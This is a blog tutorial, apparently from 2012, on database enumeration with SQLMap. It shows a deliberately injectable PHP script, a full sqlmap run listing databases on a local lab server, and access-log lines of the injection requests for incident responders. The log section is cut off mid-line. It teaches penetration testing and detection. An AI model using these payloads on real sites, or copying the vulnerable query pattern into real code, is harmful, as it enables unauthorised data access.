Enumeration with practical examples from SQLMap

SQLMap – http://sqlmap.sourceforge.net/

SQLMap is an open source and free automatic SQL injection and database takeover tool. I’ve found it extremely usefull for doing blind SQL injection as it is normally extremely tedious work to get it done quickly. However for this article I will only cover the enumeration function.

SQLMap in action
SQLMap in action

Enumeration explained

To quote Wikipedia’s article on enumeration it is described as this:

The broadest and most abstract definition of an enumeration of a set is an exact listing of all of its elements (perhaps with repetition).

Summed up it basically  means you via some exercise, extract all the available data you need from a system of some sort. Examples of this can be:

  • Fetching all available databases, tables and columns from a database. (Which I am going to demonstrate in this article)
  • Figuring out all files in a file system via. i.e. local file disclosure vulnerability.
  • Enumerating the network, figuring out all the networks and associated devices.
  • Identifying user accounts on a system.

The enumeration process is usually present in any penetration test, however it may occur in different phases of the testing. Enumerating the network usually occurs in the discovery phase of the test, and is often directly related to fingerprinting process of a penetration test.

Listing all users on a Windows system with net view
Taken from http://www.aircrack-ng.org/doku.php?id=airodump-ng
Finding all wireless access points with airodump-ng

Enumerating databases with SQLMap

The natural place to start when trying out any tool is the manual, which usually contains good information on how to operate the tool. I strongly encourage you to read the manual before using commands that others have created. It will make sure you know what you are doing and is very good for learning too.

Reading the SQLMap manual under the enumeration topic provides me with the following command line options (as of 11.05.2012):

  • –dbs – List databases
  • –tables – List tables
  • –columns – List columns
  • –users – List users
  • –passwords – List and crack DBMS passwords
  • –roles – List user roles
  • –privileges – List user privileges
  • –dump to dump table entries

There is also a lot of other good information in the manual, so I suggest reading over it if you have more questions about flags and parameters the tool takes.

The vulnerable code

The code we are testing on is a simple PHP script that retrieves records from a database based on the supplied username. This is typical code we see all across the internet, hopefully then with proper sanitation.

$con = mysql_connect("localhost", "root", "password");
mysql_select_db("mysql", $con);
$result = mysql_query('SELECT user FROM user where User="' . $_GET['username'] . '"');
print_r(mysql_fetch_row($result));
mysql_close($con);

Line 3 is the code with the vulnerability. It should be a prepared statement and include proper filtering, preferably a whitelist of allowed input values.

Running SQLMap

With the code running on a webserver we are now ready to launch SQLMap. In this example we are only enumerating the different databases on the server. Look in the manual for more examples.

:~$ sqlmap --dbs -u http://localhost/sqlinjection/2.php?username=root

    sqlmap/0.6.4 coded by Bernardo Damele A. G.
                      and Daniele Bellucci 

[*] starting at: 04:03:46

[04:03:46] [INFO] testing connection to the target url
[04:03:46] [INFO] testing if the url is stable, wait a few seconds
[04:03:47] [INFO] url is stable
[04:03:47] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[04:03:47] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[04:03:47] [INFO] testing if GET parameter 'username' is dynamic
[04:03:47] [INFO] confirming that GET parameter 'username' is dynamic
[04:03:47] [INFO] GET parameter 'username' is dynamic
[04:03:47] [INFO] testing sql injection on GET parameter 'username' with 0 parenthesis
[04:03:47] [INFO] testing unescaped numeric injection on GET parameter 'username'
[04:03:47] [INFO] GET parameter 'username' is not unescaped numeric injectable
[04:03:47] [INFO] testing single quoted string injection on GET parameter 'username'
[04:03:47] [INFO] GET parameter 'username' is not single quoted string injectable
[04:03:47] [INFO] testing LIKE single quoted string injection on GET parameter 'username'
[04:03:47] [INFO] GET parameter 'username' is not LIKE single quoted string injectable
[04:03:47] [INFO] testing double quoted string injection on GET parameter 'username'
[04:03:47] [INFO] confirming double quoted string injection on GET parameter 'username'
[04:03:47] [INFO] GET parameter 'username' is double quoted string injectable with 0 parenthesis
[04:03:47] [INFO] testing for parenthesis on injectable parameter
[04:03:47] [INFO] the injectable parameter requires 0 parenthesis
[04:03:47] [INFO] testing MySQL
[04:03:47] [INFO] confirming MySQL
[04:03:47] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
[04:03:47] [INFO] retrieved: 4
[04:03:47] [INFO] performed 13 queries in 0 seconds
[04:03:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.2.20, PHP 5.3.6
back-end DBMS: MySQL >= 5.0.0

[04:03:47] [INFO] fetching database names
[04:03:47] [INFO] fetching number of databases
[04:03:47] [INFO] query: SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR(10000)), CHAR(32)) FROM information_schema.SCHEMATA
[04:03:47] [INFO] retrieved: 4
[04:03:47] [INFO] performed 13 queries in 0 seconds
[04:03:47] [INFO] query: SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 0, 1
[04:03:47] [INFO] retrieved: information_schema
[04:03:47] [INFO] performed 132 queries in 0 seconds
[04:03:47] [INFO] query: SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 1, 1
[04:03:47] [INFO] retrieved: mutillidae
[04:03:47] [INFO] performed 76 queries in 0 seconds
[04:03:47] [INFO] query: SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 2, 1
[04:03:47] [INFO] retrieved: mysql
[04:03:48] [INFO] performed 41 queries in 0 seconds
[04:03:48] [INFO] query: SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR(10000)), CHAR(32))) FROM information_schema.SCHEMATA LIMIT 3, 1
[04:03:48] [INFO] retrieved: owasp10
[04:03:48] [INFO] performed 55 queries in 0 seconds
available databases [4]:
[*] information_schema
[*] mutillidae
[*] mysql
[*] owasp10

As the result of this command we can see 4 different database. Information_schema and mysql databases are both default databases in MySQL.

Identification

One thing we know for sure is that we can never be 100% secure, and if you ever have to respond to an SQL injection incident. In many cases you can see a cascading effect in the log files as a result of the enumeration however this is not present in this example. Here is output from the log files to show you how it may look like:

127.0.0.1 - - [11/May/2012:04:03:46 +0200] "GET /sqlinjection/2.php?username=root HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:46 +0200] "GET /sqlinjection/2.php?username=root HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root HTTP/1.1" 200 238 "-" "7696"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=7424 HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=%27egxlj HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=%22jQybN HTTP/1.1" 200 380 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%20AND%20670=670 HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%27%20AND%20%27GXhPB%27=%27GXhPB HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%27%20AND%20%27GXhPB%27%20LIKE%20%27GXhPB HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20%22GXhPB%22=%22GXhPB HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20%22GXhPB%22=%22GXhPBE HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20GXhPB HTTP/1.1" 200 375 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%29%20AND%20%28%22wLRaQ%22=%22wLRaQ HTTP/1.1" 200 396 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%29%29%20AND%20%28%28%22KRhaz%22=%22KRhaz HTTP/1.1" 200 398 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%29%29%29%20AND%20%28%28%28%22KbnWy%22=%22KbnWy HTTP/1.1" 200 400 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20CONNECTION_ID%28%29=CONNECTION_ID%28%29%20AND%20%22cWFpG%22=%22cWFpG HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ISNULL%281/0%29%20AND%20%22kIHkw%22=%22kIHkw HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%201%2C%201%29%29%20%3E%2063%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%201%2C%201%29%29%20%3E%2031%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%201%2C%201%29%29%20%3E%2047%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%201%2C%201%29%29%20%3E%2055%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%201%2C%201%29%29%20%3E%2051%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 238 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%201%2C%201%29%29%20%3E%2053%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%201%2C%201%29%29%20%3E%2052%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%2C%202%2C%201%29%29%20%3E%2063%20AND%20%22AZxTN%22=%22AZxTN HTTP/1.1" 200 211 "-" "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
127.0.0.1 - - [11/May/2012:04:03:47 +0200] "GET /sqlinjection/2.php?username=root%22%20AND%20ORD%28MID%28%28SELECT%204%20FROM%20information_schema.TABLES%20LIMIT%200%2C%201%29%:

 

[important]This post is inspired by my answer at Security StackExchange, answering the question Testing SQL injection using sqlmap.[/important]


Posted

in

by

Looking to get in touch?